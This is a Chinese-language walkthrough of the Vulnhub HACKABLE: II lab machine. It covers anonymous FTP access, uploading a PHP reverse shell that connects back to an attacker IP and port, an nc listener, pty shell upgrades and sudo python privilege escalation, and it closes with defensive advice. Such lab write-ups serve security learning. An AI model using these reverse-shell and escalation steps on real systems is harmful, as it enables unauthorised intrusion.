vulnhub|HACKABLE: II 记录
字数 1127 2025-08-11 08:35:36
Vulnhub靶机HACKABLE: II渗透测试教学文档
靶机概述
- 英文名称: HACKABLE: II
- 难度等级: 容易
- 运行环境: VirtualBox (不适用于VMware)
- 下载地址: https://www.vulnhub.com/entry/hackable-ii,711/
渗透测试步骤详解
1. 主机发现
使用网络扫描工具发现目标主机IP地址:
arp-scan -l
或
netdiscover
2. 端口扫描
使用nmap进行端口扫描:
nmap -sV -p- 192.168.199.100
预期结果:发现开放端口,特别是FTP(21)和HTTP(80)端口
3. FTP服务探测
发现FTP服务允许匿名登录:
ftp 192.168.199.100
使用用户名anonymous和空密码登录
4. Web目录扫描
使用dirsearch工具扫描Web目录:
dirsearch -u http://192.168.199.100
关键发现:寻找可上传文件的目录或特殊页面
5. Web页面访问
访问目标Web页面,寻找可利用的功能点
6. FTP上传PHP反弹shell
创建PHP反弹shell文件shell.php,内容如下(需修改IP和端口):
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.199.247'; // 攻击者IP
$port = 6666; // 监听端口
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
// ... [完整代码见原文] ...
?>
通过FTP上传此文件到Web可访问目录
7. 建立监听并触发反弹shell
在攻击机上设置监听:
nc -lvnp 6666
访问上传的PHP文件URL触发反弹shell
8. 升级shell交互性
在获得的shell中执行:
python3 -c 'import pty;pty.spawn("/bin/bash")'
或
script /dev/null -c bash
9. 系统信息收集
检查系统版本:
cat /etc/os-release
检查内核版本:
uname -a
10. 敏感文件查找
查找home目录和系统隐藏文件:
ls -la /home/
ls -la /
11. 提权路径分析
方法一:隐藏文件利用
- 发现并执行隐藏的可执行文件
- 获取的可能是MD5哈希值
- 使用在线工具破解MD5获取密码
方法二:sudo提权
检查用户sudo权限:
sudo -l
发现可以使用python3.5提权:
sudo /usr/bin/python3.5 -c 'import pty;pty.spawn("/bin/bash")'
12. 获取flag
- 用户flag通常在
/home/user/目录下 - root flag通常在
/root/目录下
关键知识点总结
-
FTP匿名登录:许多系统配置不当允许匿名访问,是常见入口点
-
Web文件上传漏洞:
- 通过FTP上传Web shell
- 需要找到Web服务器可执行的目录
-
反弹shell技术:
- PHP反弹shell的构造与使用
- Netcat监听设置
- 交互式shell升级方法
-
权限提升方法:
- sudo权限滥用(python)
- 系统隐藏后门利用
- 密码破解(MD5)
-
信息收集技巧:
- 系统版本识别
- 敏感文件查找
- 用户权限检查
防御建议
- 禁用FTP匿名登录
- 限制Web目录写入权限
- 定期检查系统隐藏文件和异常可执行文件
- 合理配置sudo权限
- 使用强密码并避免使用可破解的哈希存储方式
扩展思考
- 如果FTP不允许匿名登录,如何继续渗透?
- 如果Web目录不可写,还有哪些可能的攻击路径?
- 如何检测和防御PHP反弹shell攻击?